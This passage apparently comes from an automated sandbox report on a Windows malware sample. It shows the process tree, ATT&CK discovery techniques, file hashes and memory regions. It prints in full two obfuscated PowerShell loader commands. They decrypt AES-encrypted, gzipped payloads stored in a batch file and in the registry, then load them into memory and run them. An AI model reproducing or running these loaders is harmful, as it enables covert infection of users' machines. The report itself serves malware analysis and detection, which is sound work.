FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3732

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{bb6649aa-e8c5-4109-88d5-7fcf5c389070}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1328

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1552

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1048

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2508

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2720

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:800

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3304

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:3448

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1524

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function agDFc($vCpVI){ $Qviqn=[System.Security.Cryptography.Aes]::Create(); $Qviqn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Qviqn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Qviqn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eSyKXuxugFflvGlW9qE6Iqg8XcAom2v4/DjQoKKC570='); $Qviqn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9iro50udEDaxZ/wkUff9RA=='); $FmMlx=$Qviqn.CreateDecryptor(); $return_var=$FmMlx.TransformFinalBlock($vCpVI, 0, $vCpVI.Length); $FmMlx.Dispose(); $Qviqn.Dispose(); $return_var;}function cZEYh($vCpVI){ $WLTiH=New-Object System.IO.MemoryStream(,$vCpVI); $KNxYU=New-Object System.IO.MemoryStream; $LOvEr=New-Object System.IO.Compression.GZipStream($WLTiH, [IO.Compression.CompressionMode]::Decompress); $LOvEr.CopyTo($KNxYU); $LOvEr.Dispose(); $WLTiH.Dispose(); $KNxYU.Dispose(); $KNxYU.ToArray();}function fELFD($vCpVI,$TXpag){ $fzHaG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$vCpVI); $UtByz=$fzHaG.EntryPoint; $UtByz.Invoke($null, $TXpag);}$QLGin=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($AkEcQ in $QLGin) { if ($AkEcQ.StartsWith('SEROXEN')) { $fJBxd=$AkEcQ.Substring(7); break; }}$CjuJm=[string[]]$fJBxd.Split('\');$hxBpb=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[0])));$OyvxC=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[1])));fELFD $OyvxC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));fELFD $hxBpb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{28d4b7fa-7920-48e8-bb2e-3850a9784dab}
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3456

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3812

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3948

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4068

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3296

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2532

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:3444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1472

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2856

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1060

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ub2yxs3y.3l0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
324KB

MD5
c5db7b712f280c3ae4f731ad7d5ea171

SHA1
e8717ff0d40e01fd3b06de2aa5a401bed1c907cc

SHA256
f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba

SHA512
bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
32KB

MD5
356e04e106f6987a19938df67dea0b76

SHA1
f2fd7cde5f97427e497dfb07b7f682149dc896fb

SHA256
4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e

SHA512
df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd

Download Submit
memory/356-121-0x000001CB4D8F0000-0x000001CB4D917000-memory.dmp

Filesize
156KB

Download
memory/356-122-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/392-106-0x000001E52EF60000-0x000001E52EF87000-memory.dmp

Filesize
156KB

Download
memory/392-109-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/440-118-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/440-117-0x00000219E13B0000-0x00000219E13D7000-memory.dmp

Filesize
156KB

Download
memory/640-107-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/640-100-0x000001B4000E0000-0x000001B400102000-memory.dmp

Filesize
136KB

Download
memory/640-101-0x000001B400110000-0x000001B400137000-memory.dmp

Filesize
156KB

Download
memory/696-105-0x0000023494B60000-0x0000023494B87000-memory.dmp

Filesize
156KB

Download
memory/696-111-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/984-113-0x000001B337EB0000-0x000001B337ED7000-memory.dmp

Filesize
156KB

Download
memory/984-114-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1072-132-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1072-131-0x000002416D940000-0x000002416D967000-memory.dmp

Filesize
156KB

Download
memory/1084-135-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1084-134-0x0000020266EF0000-0x0000020266F17000-memory.dmp

Filesize
156KB

Download
memory/1180-137-0x0000023A86390000-0x0000023A863B7000-memory.dmp

Filesize
156KB

Download
memory/2304-67-0x0000027160BD0000-0x0000027160C82000-memory.dmp

Filesize
712KB

Download
memory/2304-78-0x0000027158120000-0x00000271581D2000-memory.dmp

Filesize
712KB

Download
memory/2304-91-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/2304-92-0x00007FF846800000-0x00007FF8468BD000-memory.dmp

Filesize
756KB

Download
memory/2304-93-0x00000271573D0000-0x0000027157406000-memory.dmp

Filesize
216KB

Download
memory/2304-90-0x0000027158060000-0x00000271580AE000-memory.dmp

Filesize
312KB

Download
memory/2304-61-0x000002713EDA0000-0x000002713EDC4000-memory.dmp

Filesize
144KB

Download
memory/2304-62-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/2304-63-0x00007FF846800000-0x00007FF8468BD000-memory.dmp

Filesize
756KB

Download
memory/2304-64-0x0000027157630000-0x0000027157BB4000-memory.dmp

Filesize
5.5MB

Download
memory/2304-65-0x000002715FFC0000-0x000002716078A000-memory.dmp

Filesize
7.8MB

Download
memory/2304-66-0x0000027160790000-0x0000027160BCE000-memory.dmp

Filesize
4.2MB

Download
memory/2304-88-0x0000027157FC0000-0x0000027157FFC000-memory.dmp

Filesize
240KB

Download
memory/2304-68-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/2304-79-0x00000271583B0000-0x0000027158572000-memory.dmp

Filesize
1.8MB

Download
memory/2304-77-0x0000027158010000-0x0000027158060000-memory.dmp

Filesize
320KB

Download
memory/2360-89-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-16-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-36-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-17-0x000002B028000000-0x000002B028024000-memory.dmp

Filesize
144KB

Download
memory/2360-4-0x00007FF8262D3000-0x00007FF8262D5000-memory.dmp

Filesize
8KB

Download
memory/2360-13-0x000002B069A00000-0x000002B069A22000-memory.dmp

Filesize
136KB

Download
memory/2360-14-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-15-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-18-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/2360-39-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-19-0x00007FF846800000-0x00007FF8468BD000-memory.dmp

Filesize
756KB

Download
memory/2360-74-0x00007FF8262D3000-0x00007FF8262D5000-memory.dmp

Filesize
8KB

Download
memory/2360-31-0x000002B019190000-0x000002B01919A000-memory.dmp

Filesize
40KB

Download
memory/2360-29-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/2360-28-0x000002B018EA0000-0x000002B018EC2000-memory.dmp

Filesize
136KB

Download
memory/2360-27-0x000002B018E40000-0x000002B018E98000-memory.dmp

Filesize
352KB

Download
memory/2360-26-0x000002B018DE0000-0x000002B018E36000-memory.dmp

Filesize
344KB

Download
memory/2360-25-0x000002B018D30000-0x000002B018DD6000-memory.dmp

Filesize
664KB

Download
memory/2360-23-0x000002B0182D0000-0x000002B018D20000-memory.dmp

Filesize
10.3MB

Download
memory/2360-22-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-21-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/2360-20-0x00007FF8262D0000-0x00007FF826D92000-memory.dmp

Filesize
10.8MB

Download
memory/3472-38-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3472-35-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3944-32-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/3944-34-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4636-98-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4636-95-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4636-97-0x00007FF846800000-0x00007FF8468BD000-memory.dmp

Filesize
756KB

Download
memory/4636-96-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/4636-94-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download